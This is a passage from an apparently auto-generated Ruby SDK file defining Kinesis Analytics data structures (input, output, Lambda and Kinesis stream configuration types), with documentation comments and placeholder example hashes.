# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_InputLambdaProcessor.html
#
# @note When making an API call, you may pass InputLambdaProcessorUpdate
# data as a hash:
#
# {
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# }
#
# @!attribute [rw] resource_arn_update
# The Amazon Resource Name (ARN) of the new [AWS Lambda][1] function
# that is used to preprocess the records in the stream.
#
# <note markdown="1"> To specify an earlier version of the Lambda function than the
# latest, include the Lambda function version in the Lambda function
# ARN. For more information about Lambda ARNs, see [Example ARNs: AWS
# Lambda](/general/latest/gr/aws-arns-and-namespaces.html#arn-syntax-lambda)
#
# </note>
#
#
#
# [1]: https://docs.aws.amazon.com/lambda/
# @return [String]
#
# @!attribute [rw] role_arn_update
# The ARN of the new IAM role that is used to access the AWS Lambda
# function.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/InputLambdaProcessorUpdate AWS API Documentation
#
class InputLambdaProcessorUpdate < Struct.new(
:resource_arn_update,
:role_arn_update)
SENSITIVE = []
include Aws::Structure
end
# Describes the number of in-application streams to create for a given
# streaming source. For information about parallelism, see [Configuring
# Application Input][1].
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/how-it-works-input.html
#
# @note When making an API call, you may pass InputParallelism
# data as a hash:
#
# {
# count: 1,
# }
#
# @!attribute [rw] count
# Number of in-application streams to create. For more information,
# see [Limits][1].
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/limits.html
# @return [Integer]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/InputParallelism AWS API Documentation
#
class InputParallelism < Struct.new(
:count)
SENSITIVE = []
include Aws::Structure
end
# Provides updates to the parallelism count.
#
# @note When making an API call, you may pass InputParallelismUpdate
# data as a hash:
#
# {
# count_update: 1,
# }
#
# @!attribute [rw] count_update
# Number of in-application streams to create for the specified
# streaming source.
# @return [Integer]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/InputParallelismUpdate AWS API Documentation
#
class InputParallelismUpdate < Struct.new(
:count_update)
SENSITIVE = []
include Aws::Structure
end
# Provides a description of a processor that is used to preprocess the
# records in the stream before being processed by your application code.
# Currently, the only input processor available is [AWS Lambda][1].
#
#
#
# [1]: https://docs.aws.amazon.com/lambda/
#
# @note When making an API call, you may pass InputProcessingConfiguration
# data as a hash:
#
# {
# input_lambda_processor: { # required
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# },
# }
#
# @!attribute [rw] input_lambda_processor
# The [InputLambdaProcessor][1] that is used to preprocess the records
# in the stream before being processed by your application code.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_InputLambdaProcessor.html
# @return [Types::InputLambdaProcessor]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/InputProcessingConfiguration AWS API Documentation
#
class InputProcessingConfiguration < Struct.new(
:input_lambda_processor)
SENSITIVE = []
include Aws::Structure
end
# Provides configuration information about an input processor.
# Currently, the only input processor available is [AWS Lambda][1].
#
#
#
# [1]: https://docs.aws.amazon.com/lambda/
#
# @!attribute [rw] input_lambda_processor_description
# Provides configuration information about the associated
# [InputLambdaProcessorDescription][1].
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_InputLambdaProcessorDescription.html
# @return [Types::InputLambdaProcessorDescription]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/InputProcessingConfigurationDescription AWS API Documentation
#
class InputProcessingConfigurationDescription < Struct.new(
:input_lambda_processor_description)
SENSITIVE = []
include Aws::Structure
end
# Describes updates to an [InputProcessingConfiguration][1].
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_InputProcessingConfiguration.html
#
# @note When making an API call, you may pass InputProcessingConfigurationUpdate
# data as a hash:
#
# {
# input_lambda_processor_update: { # required
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# },
# }
#
# @!attribute [rw] input_lambda_processor_update
# Provides update information for an [InputLambdaProcessor][1].
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_InputLambdaProcessor.html
# @return [Types::InputLambdaProcessorUpdate]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/InputProcessingConfigurationUpdate AWS API Documentation
#
class InputProcessingConfigurationUpdate < Struct.new(
:input_lambda_processor_update)
SENSITIVE = []
include Aws::Structure
end
# Describes updates for the application's input schema.
#
# @note When making an API call, you may pass InputSchemaUpdate
# data as a hash:
#
# {
# record_format_update: {
# record_format_type: "JSON", # required, accepts JSON, CSV
# mapping_parameters: {
# json_mapping_parameters: {
# record_row_path: "RecordRowPath", # required
# },
# csv_mapping_parameters: {
# record_row_delimiter: "RecordRowDelimiter", # required
# record_column_delimiter: "RecordColumnDelimiter", # required
# },
# },
# },
# record_encoding_update: "RecordEncoding",
# record_column_updates: [
# {
# name: "RecordColumnName", # required
# mapping: "RecordColumnMapping",
# sql_type: "RecordColumnSqlType", # required
# },
# ],
# }
#
# @!attribute [rw] record_format_update
# Specifies the format of the records on the streaming source.
# @return [Types::RecordFormat]
#
# @!attribute [rw] record_encoding_update
# Specifies the encoding of the records in the streaming source. For
# example, UTF-8.
# @return [String]
#
# @!attribute [rw] record_column_updates
# A list of `RecordColumn` objects. Each object describes the mapping
# of the streaming source element to the corresponding column in the
# in-application stream.
# @return [Array<Types::RecordColumn>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/InputSchemaUpdate AWS API Documentation
#
class InputSchemaUpdate < Struct.new(
:record_format_update,
:record_encoding_update,
:record_column_updates)
SENSITIVE = []
include Aws::Structure
end
# Describes the point at which the application reads from the streaming
# source.
#
# @note When making an API call, you may pass InputStartingPositionConfiguration
# data as a hash:
#
# {
# input_starting_position: "NOW", # accepts NOW, TRIM_HORIZON, LAST_STOPPED_POINT
# }
#
# @!attribute [rw] input_starting_position
# The starting position on the stream.
#
# * `NOW` - Start reading just after the most recent record in the
# stream, start at the request time stamp that the customer issued.
#
# * `TRIM_HORIZON` - Start reading at the last untrimmed record in the
# stream, which is the oldest record available in the stream. This
# option is not available for an Amazon Kinesis Firehose delivery
# stream.
#
# * `LAST_STOPPED_POINT` - Resume reading from where the application
# last stopped reading.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/InputStartingPositionConfiguration AWS API Documentation
#
class InputStartingPositionConfiguration < Struct.new(
:input_starting_position)
SENSITIVE = []
include Aws::Structure
end
# Describes updates to a specific input configuration (identified by the
# `InputId` of an application).
#
# @note When making an API call, you may pass InputUpdate
# data as a hash:
#
# {
# input_id: "Id", # required
# name_prefix_update: "InAppStreamName",
# input_processing_configuration_update: {
# input_lambda_processor_update: { # required
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# },
# },
# kinesis_streams_input_update: {
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# },
# kinesis_firehose_input_update: {
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# },
# input_schema_update: {
# record_format_update: {
# record_format_type: "JSON", # required, accepts JSON, CSV
# mapping_parameters: {
# json_mapping_parameters: {
# record_row_path: "RecordRowPath", # required
# },
# csv_mapping_parameters: {
# record_row_delimiter: "RecordRowDelimiter", # required
# record_column_delimiter: "RecordColumnDelimiter", # required
# },
# },
# },
# record_encoding_update: "RecordEncoding",
# record_column_updates: [
# {
# name: "RecordColumnName", # required
# mapping: "RecordColumnMapping",
# sql_type: "RecordColumnSqlType", # required
# },
# ],
# },
# input_parallelism_update: {
# count_update: 1,
# },
# }
#
# @!attribute [rw] input_id
# Input ID of the application input to be updated.
# @return [String]
#
# @!attribute [rw] name_prefix_update
# Name prefix for in-application streams that Amazon Kinesis Analytics
# creates for the specific streaming source.
# @return [String]
#
# @!attribute [rw] input_processing_configuration_update
# Describes updates for an input processing configuration.
# @return [Types::InputProcessingConfigurationUpdate]
#
# @!attribute [rw] kinesis_streams_input_update
# If an Amazon Kinesis stream is the streaming source to be updated,
# provides an updated stream Amazon Resource Name (ARN) and IAM role
# ARN.
# @return [Types::KinesisStreamsInputUpdate]
#
# @!attribute [rw] kinesis_firehose_input_update
# If an Amazon Kinesis Firehose delivery stream is the streaming
# source to be updated, provides an updated stream ARN and IAM role
# ARN.
# @return [Types::KinesisFirehoseInputUpdate]
#
# @!attribute [rw] input_schema_update
# Describes the data format on the streaming source, and how record
# elements on the streaming source map to columns of the
# in-application stream that is created.
# @return [Types::InputSchemaUpdate]
#
# @!attribute [rw] input_parallelism_update
# Describes the parallelism updates (the number in-application streams
# Amazon Kinesis Analytics creates for the specific streaming source).
# @return [Types::InputParallelismUpdate]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/InputUpdate AWS API Documentation
#
class InputUpdate < Struct.new(
:input_id,
:name_prefix_update,
:input_processing_configuration_update,
:kinesis_streams_input_update,
:kinesis_firehose_input_update,
:input_schema_update,
:input_parallelism_update)
SENSITIVE = []
include Aws::Structure
end
# User-provided application configuration is not valid.
#
# @!attribute [rw] message
# test
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/InvalidApplicationConfigurationException AWS API Documentation
#
class InvalidApplicationConfigurationException < Struct.new(
:message)
SENSITIVE = []
include Aws::Structure
end
# Specified input parameter value is invalid.
#
# @!attribute [rw] message
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/InvalidArgumentException AWS API Documentation
#
class InvalidArgumentException < Struct.new(
:message)
SENSITIVE = []
include Aws::Structure
end
# Provides additional mapping information when JSON is the record format
# on the streaming source.
#
# @note When making an API call, you may pass JSONMappingParameters
# data as a hash:
#
# {
# record_row_path: "RecordRowPath", # required
# }
#
# @!attribute [rw] record_row_path
# Path to the top-level parent that contains the records.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/JSONMappingParameters AWS API Documentation
#
class JSONMappingParameters < Struct.new(
:record_row_path)
SENSITIVE = []
include Aws::Structure
end
# Identifies an Amazon Kinesis Firehose delivery stream as the streaming
# source. You provide the delivery stream's Amazon Resource Name (ARN)
# and an IAM role ARN that enables Amazon Kinesis Analytics to access
# the stream on your behalf.
#
# @note When making an API call, you may pass KinesisFirehoseInput
# data as a hash:
#
# {
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# }
#
# @!attribute [rw] resource_arn
# ARN of the input delivery stream.
# @return [String]
#
# @!attribute [rw] role_arn
# ARN of the IAM role that Amazon Kinesis Analytics can assume to
# access the stream on your behalf. You need to make sure that the
# role has the necessary permissions to access the stream.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/KinesisFirehoseInput AWS API Documentation
#
class KinesisFirehoseInput < Struct.new(
:resource_arn,
:role_arn)
SENSITIVE = []
include Aws::Structure
end
# Describes the Amazon Kinesis Firehose delivery stream that is
# configured as the streaming source in the application input
# configuration.
#
# @!attribute [rw] resource_arn
# Amazon Resource Name (ARN) of the Amazon Kinesis Firehose delivery
# stream.
# @return [String]
#
# @!attribute [rw] role_arn
# ARN of the IAM role that Amazon Kinesis Analytics assumes to access
# the stream.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/KinesisFirehoseInputDescription AWS API Documentation
#
class KinesisFirehoseInputDescription < Struct.new(
:resource_arn,
:role_arn)
SENSITIVE = []
include Aws::Structure
end
# When updating application input configuration, provides information
# about an Amazon Kinesis Firehose delivery stream as the streaming
# source.
#
# @note When making an API call, you may pass KinesisFirehoseInputUpdate
# data as a hash:
#
# {
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# }
#
# @!attribute [rw] resource_arn_update
# Amazon Resource Name (ARN) of the input Amazon Kinesis Firehose
# delivery stream to read.
# @return [String]
#
# @!attribute [rw] role_arn_update
# ARN of the IAM role that Amazon Kinesis Analytics can assume to
# access the stream on your behalf. You need to grant the necessary
# permissions to this role.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/KinesisFirehoseInputUpdate AWS API Documentation
#
class KinesisFirehoseInputUpdate < Struct.new(
:resource_arn_update,
:role_arn_update)
SENSITIVE = []
include Aws::Structure
end
# When configuring application output, identifies an Amazon Kinesis
# Firehose delivery stream as the destination. You provide the stream
# Amazon Resource Name (ARN) and an IAM role that enables Amazon Kinesis
# Analytics to write to the stream on your behalf.
#
# @note When making an API call, you may pass KinesisFirehoseOutput
# data as a hash:
#
# {
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# }
#
# @!attribute [rw] resource_arn
# ARN of the destination Amazon Kinesis Firehose delivery stream to
# write to.
# @return [String]
#
# @!attribute [rw] role_arn
# ARN of the IAM role that Amazon Kinesis Analytics can assume to
# write to the destination stream on your behalf. You need to grant
# the necessary permissions to this role.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/KinesisFirehoseOutput AWS API Documentation
#
class KinesisFirehoseOutput < Struct.new(
:resource_arn,
:role_arn)
SENSITIVE = []
include Aws::Structure
end
# For an application output, describes the Amazon Kinesis Firehose
# delivery stream configured as its destination.
#
# @!attribute [rw] resource_arn
# Amazon Resource Name (ARN) of the Amazon Kinesis Firehose delivery
# stream.
# @return [String]
#
# @!attribute [rw] role_arn
# ARN of the IAM role that Amazon Kinesis Analytics can assume to
# access the stream.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/KinesisFirehoseOutputDescription AWS API Documentation
#
class KinesisFirehoseOutputDescription < Struct.new(
:resource_arn,
:role_arn)
SENSITIVE = []
include Aws::Structure
end
# When updating an output configuration using the [UpdateApplication][1]
# operation, provides information about an Amazon Kinesis Firehose
# delivery stream configured as the destination.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_UpdateApplication.html
#
# @note When making an API call, you may pass KinesisFirehoseOutputUpdate
# data as a hash:
#
# {
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# }
#
# @!attribute [rw] resource_arn_update
# Amazon Resource Name (ARN) of the Amazon Kinesis Firehose delivery
# stream to write to.
# @return [String]
#
# @!attribute [rw] role_arn_update
# ARN of the IAM role that Amazon Kinesis Analytics can assume to
# access the stream on your behalf. You need to grant the necessary
# permissions to this role.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/KinesisFirehoseOutputUpdate AWS API Documentation
#
class KinesisFirehoseOutputUpdate < Struct.new(
:resource_arn_update,
:role_arn_update)
SENSITIVE = []
include Aws::Structure
end
# Identifies an Amazon Kinesis stream as the streaming source. You
# provide the stream's Amazon Resource Name (ARN) and an IAM role ARN
# that enables Amazon Kinesis Analytics to access the stream on your
# behalf.
#
# @note When making an API call, you may pass KinesisStreamsInput
# data as a hash:
#
# {
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# }
#
# @!attribute [rw] resource_arn
# ARN of the input Amazon Kinesis stream to read.
# @return [String]
#
# @!attribute [rw] role_arn
# ARN of the IAM role that Amazon Kinesis Analytics can assume to
# access the stream on your behalf. You need to grant the necessary
# permissions to this role.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/KinesisStreamsInput AWS API Documentation
#
class KinesisStreamsInput < Struct.new(
:resource_arn,
:role_arn)
SENSITIVE = []
include Aws::Structure
end
# Describes the Amazon Kinesis stream that is configured as the
# streaming source in the application input configuration.
#
# @!attribute [rw] resource_arn
# Amazon Resource Name (ARN) of the Amazon Kinesis stream.
# @return [String]
#
# @!attribute [rw] role_arn
# ARN of the IAM role that Amazon Kinesis Analytics can assume to
# access the stream.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/KinesisStreamsInputDescription AWS API Documentation
#
class KinesisStreamsInputDescription < Struct.new(
:resource_arn,
:role_arn)
SENSITIVE = []
include Aws::Structure
end
# When updating application input configuration, provides information
# about an Amazon Kinesis stream as the streaming source.
#
# @note When making an API call, you may pass KinesisStreamsInputUpdate
# data as a hash:
#
# {
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# }
#
# @!attribute [rw] resource_arn_update
# Amazon Resource Name (ARN) of the input Amazon Kinesis stream to
# read.
# @return [String]
#
# @!attribute [rw] role_arn_update
# ARN of the IAM role that Amazon Kinesis Analytics can assume to
# access the stream on your behalf. You need to grant the necessary
# permissions to this role.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/KinesisStreamsInputUpdate AWS API Documentation
#
class KinesisStreamsInputUpdate < Struct.new(
:resource_arn_update,
:role_arn_update)
SENSITIVE = []
include Aws::Structure
end
# When configuring application output, identifies an Amazon Kinesis
# stream as the destination. You provide the stream Amazon Resource Name
# (ARN) and also an IAM role ARN that Amazon Kinesis Analytics can use
# to write to the stream on your behalf.
#
# @note When making an API call, you may pass KinesisStreamsOutput
# data as a hash:
#
# {
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# }
#
# @!attribute [rw] resource_arn
# ARN of the destination Amazon Kinesis stream to write to.
# @return [String]
#
# @!attribute [rw] role_arn
# ARN of the IAM role that Amazon Kinesis Analytics can assume to
# write to the destination stream on your behalf. You need to grant
# the necessary permissions to this role.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/KinesisStreamsOutput AWS API Documentation
#
class KinesisStreamsOutput < Struct.new(
:resource_arn,
:role_arn)
SENSITIVE = []
include Aws::Structure
end
# For an application output, describes the Amazon Kinesis stream
# configured as its destination.
#
# @!attribute [rw] resource_arn
# Amazon Resource Name (ARN) of the Amazon Kinesis stream.
# @return [String]
#
# @!attribute [rw] role_arn
# ARN of the IAM role that Amazon Kinesis Analytics can assume to
# access the stream.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/KinesisStreamsOutputDescription AWS API Documentation
#
class KinesisStreamsOutputDescription < Struct.new(
:resource_arn,
:role_arn)
SENSITIVE = []
include Aws::Structure
end
# When updating an output configuration using the [UpdateApplication][1]
# operation, provides information about an Amazon Kinesis stream
# configured as the destination.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_UpdateApplication.html
#
# @note When making an API call, you may pass KinesisStreamsOutputUpdate
# data as a hash:
#
# {
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# }
#
# @!attribute [rw] resource_arn_update
# Amazon Resource Name (ARN) of the Amazon Kinesis stream where you
# want to write the output.
# @return [String]
#
# @!attribute [rw] role_arn_update
# ARN of the IAM role that Amazon Kinesis Analytics can assume to
# access the stream on your behalf. You need to grant the necessary
# permissions to this role.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/KinesisStreamsOutputUpdate AWS API Documentation
#
class KinesisStreamsOutputUpdate < Struct.new(
:resource_arn_update,
:role_arn_update)
SENSITIVE = []
include Aws::Structure
end
# When configuring application output, identifies an AWS Lambda function
# as the destination. You provide the function Amazon Resource Name
# (ARN) and also an IAM role ARN that Amazon Kinesis Analytics can use
# to write to the function on your behalf.
#
# @note When making an API call, you may pass LambdaOutput
# data as a hash:
#
# {
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# }
#
# @!attribute [rw] resource_arn
# Amazon Resource Name (ARN) of the destination Lambda function to
# write to.
#
# <note markdown="1"> To specify an earlier version of the Lambda function than the
# latest, include the Lambda function version in the Lambda function
# ARN. For more information about Lambda ARNs, see [Example ARNs: AWS
# Lambda](/general/latest/gr/aws-arns-and-namespaces.html#arn-syntax-lambda)
#
# </note>
# @return [String]
#
# @!attribute [rw] role_arn
# ARN of the IAM role that Amazon Kinesis Analytics can assume to
# write to the destination function on your behalf. You need to grant
# the necessary permissions to this role.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/LambdaOutput AWS API Documentation
#
class LambdaOutput < Struct.new(
:resource_arn,
:role_arn)
SENSITIVE = []
include Aws::Structure
end
# For an application output, describes the AWS Lambda function
# configured as its destination.
#
# @!attribute [rw] resource_arn
# Amazon Resource Name (ARN) of the destination Lambda function.
# @return [String]
#
# @!attribute [rw] role_arn
# ARN of the IAM role that Amazon Kinesis Analytics can assume to
# write to the destination function.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/LambdaOutputDescription AWS API Documentation
#
class LambdaOutputDescription < Struct.new(
:resource_arn,
:role_arn)
SENSITIVE = []
include Aws::Structure
end
# When updating an output configuration using the [UpdateApplication][1]
# operation, provides information about an AWS Lambda function
# configured as the destination.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_UpdateApplication.html
#
# @note When making an API call, you may pass LambdaOutputUpdate
# data as a hash:
#
# {
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# }
#
# @!attribute [rw] resource_arn_update
# Amazon Resource Name (ARN) of the destination Lambda function.
#
# <note markdown="1"> To specify an earlier version of the Lambda function than the
# latest, include the Lambda function version in the Lambda function
# ARN. For more information about Lambda ARNs, see [Example ARNs: AWS
# Lambda](/general/latest/gr/aws-arns-and-namespaces.html#arn-syntax-lambda)
#
# </note>
# @return [String]
#
# @!attribute [rw] role_arn_update
# ARN of the IAM role that Amazon Kinesis Analytics can assume to
# write to the destination function on your behalf. You need to grant
# the necessary permissions to this role.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/LambdaOutputUpdate AWS API Documentation
#
class LambdaOutputUpdate < Struct.new(
:resource_arn_update,
:role_arn_update)
SENSITIVE = []
include Aws::Structure
end
# Exceeded the number of applications allowed.
#
# @!attribute [rw] message
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/LimitExceededException AWS API Documentation
#
class LimitExceededException < Struct.new(
:message)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass ListApplicationsRequest
# data as a hash:
#
# {
# limit: 1,
# exclusive_start_application_name: "ApplicationName",
# }
#
# @!attribute [rw] limit
# Maximum number of applications to list.
# @return [Integer]
#
# @!attribute [rw] exclusive_start_application_name
# Name of the application to start the list with. When using
# pagination to retrieve the list, you don't need to specify this
# parameter in the first request. However, in subsequent requests, you
# add the last application name from the previous response to get the
# next page of applications.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/ListApplicationsRequest AWS API Documentation
#
class ListApplicationsRequest < Struct.new(
:limit,
:exclusive_start_application_name)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] application_summaries
# List of `ApplicationSummary` objects.
# @return [Array<Types::ApplicationSummary>]
#
# @!attribute [rw] has_more_applications
# Returns true if there are more applications to retrieve.
# @return [Boolean]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/ListApplicationsResponse AWS API Documentation
#
class ListApplicationsResponse < Struct.new(
:application_summaries,
:has_more_applications)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass ListTagsForResourceRequest
# data as a hash:
#
# {
# resource_arn: "KinesisAnalyticsARN", # required
# }
#
# @!attribute [rw] resource_arn
# The ARN of the application for which to retrieve tags.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/ListTagsForResourceRequest AWS API Documentation
#
class ListTagsForResourceRequest < Struct.new(
:resource_arn)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] tags
# The key-value tags assigned to the application.
# @return [Array<Types::Tag>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/ListTagsForResourceResponse AWS API Documentation
#
class ListTagsForResourceResponse < Struct.new(
:tags)
SENSITIVE = []
include Aws::Structure
end
# When configuring application input at the time of creating or updating
# an application, provides additional mapping information specific to
# the record format (such as JSON, CSV, or record fields delimited by
# some delimiter) on the streaming source.
#
# @note When making an API call, you may pass MappingParameters
# data as a hash:
#
# {
# json_mapping_parameters: {
# record_row_path: "RecordRowPath", # required
# },
# csv_mapping_parameters: {
# record_row_delimiter: "RecordRowDelimiter", # required
# record_column_delimiter: "RecordColumnDelimiter", # required
# },
# }
#
# @!attribute [rw] json_mapping_parameters
# Provides additional mapping information when JSON is the record
# format on the streaming source.
# @return [Types::JSONMappingParameters]
#
# @!attribute [rw] csv_mapping_parameters
# Provides additional mapping information when the record format uses
# delimiters (for example, CSV).
# @return [Types::CSVMappingParameters]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/MappingParameters AWS API Documentation
#
class MappingParameters < Struct.new(
:json_mapping_parameters,
:csv_mapping_parameters)
SENSITIVE = []
include Aws::Structure
end
# Describes application output configuration in which you identify an
# in-application stream and a destination where you want the
# in-application stream data to be written. The destination can be an
# Amazon Kinesis stream or an Amazon Kinesis Firehose delivery stream.
#
#
#
# For limits on how many destinations an application can write and other
# limitations, see [Limits][1].
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/limits.html
#
# @note When making an API call, you may pass Output
# data as a hash:
#
# {
# name: "InAppStreamName", # required
# kinesis_streams_output: {
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# },
# kinesis_firehose_output: {
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# },
# lambda_output: {
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# },
# destination_schema: { # required
# record_format_type: "JSON", # required, accepts JSON, CSV
# },
# }
#
# @!attribute [rw] name
# Name of the in-application stream.
# @return [String]
#
# @!attribute [rw] kinesis_streams_output
# Identifies an Amazon Kinesis stream as the destination.
# @return [Types::KinesisStreamsOutput]
#
# @!attribute [rw] kinesis_firehose_output
# Identifies an Amazon Kinesis Firehose delivery stream as the
# destination.
# @return [Types::KinesisFirehoseOutput]
#
# @!attribute [rw] lambda_output
# Identifies an AWS Lambda function as the destination.
# @return [Types::LambdaOutput]
#
# @!attribute [rw] destination_schema
# Describes the data format when records are written to the
# destination. For more information, see [Configuring Application
# Output][1].
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/how-it-works-output.html
# @return [Types::DestinationSchema]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/Output AWS API Documentation
#
class Output < Struct.new(
:name,
:kinesis_streams_output,
:kinesis_firehose_output,
:lambda_output,
:destination_schema)
SENSITIVE = []
include Aws::Structure
end
# Describes the application output configuration, which includes the
# in-application stream name and the destination where the stream data
# is written. The destination can be an Amazon Kinesis stream or an
# Amazon Kinesis Firehose delivery stream.
#
# @!attribute [rw] output_id
# A unique identifier for the output configuration.
# @return [String]
#
# @!attribute [rw] name
# Name of the in-application stream configured as output.
# @return [String]
#
# @!attribute [rw] kinesis_streams_output_description
# Describes Amazon Kinesis stream configured as the destination where
# output is written.
# @return [Types::KinesisStreamsOutputDescription]
#
# @!attribute [rw] kinesis_firehose_output_description
# Describes the Amazon Kinesis Firehose delivery stream configured as
# the destination where output is written.
# @return [Types::KinesisFirehoseOutputDescription]
#
# @!attribute [rw] lambda_output_description
# Describes the AWS Lambda function configured as the destination
# where output is written.
# @return [Types::LambdaOutputDescription]
#
# @!attribute [rw] destination_schema
# Data format used for writing data to the destination.
# @return [Types::DestinationSchema]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/OutputDescription AWS API Documentation
#
class OutputDescription < Struct.new(
:output_id,
:name,
:kinesis_streams_output_description,
:kinesis_firehose_output_description,
:lambda_output_description,
:destination_schema)
SENSITIVE = []
include Aws::Structure
end
# Describes updates to the output configuration identified by the
# `OutputId`.
#
# @note When making an API call, you may pass OutputUpdate
# data as a hash:
#
# {
# output_id: "Id", # required
# name_update: "InAppStreamName",
# kinesis_streams_output_update: {
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# },
# kinesis_firehose_output_update: {
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# },
# lambda_output_update: {
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# },
# destination_schema_update: {
# record_format_type: "JSON", # required, accepts JSON, CSV
# },
# }
#
# @!attribute [rw] output_id
# Identifies the specific output configuration that you want to
# update.
# @return [String]
#
# @!attribute [rw] name_update
# If you want to specify a different in-application stream for this
# output configuration, use this field to specify the new
# in-application stream name.
# @return [String]
#
# @!attribute [rw] kinesis_streams_output_update
# Describes an Amazon Kinesis stream as the destination for the
# output.
# @return [Types::KinesisStreamsOutputUpdate]
#
# @!attribute [rw] kinesis_firehose_output_update
# Describes an Amazon Kinesis Firehose delivery stream as the
# destination for the output.
# @return [Types::KinesisFirehoseOutputUpdate]
#
# @!attribute [rw] lambda_output_update
# Describes an AWS Lambda function as the destination for the output.
# @return [Types::LambdaOutputUpdate]
#
# @!attribute [rw] destination_schema_update
# Describes the data format when records are written to the
# destination. For more information, see [Configuring Application
# Output][1].
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/how-it-works-output.html
# @return [Types::DestinationSchema]
#
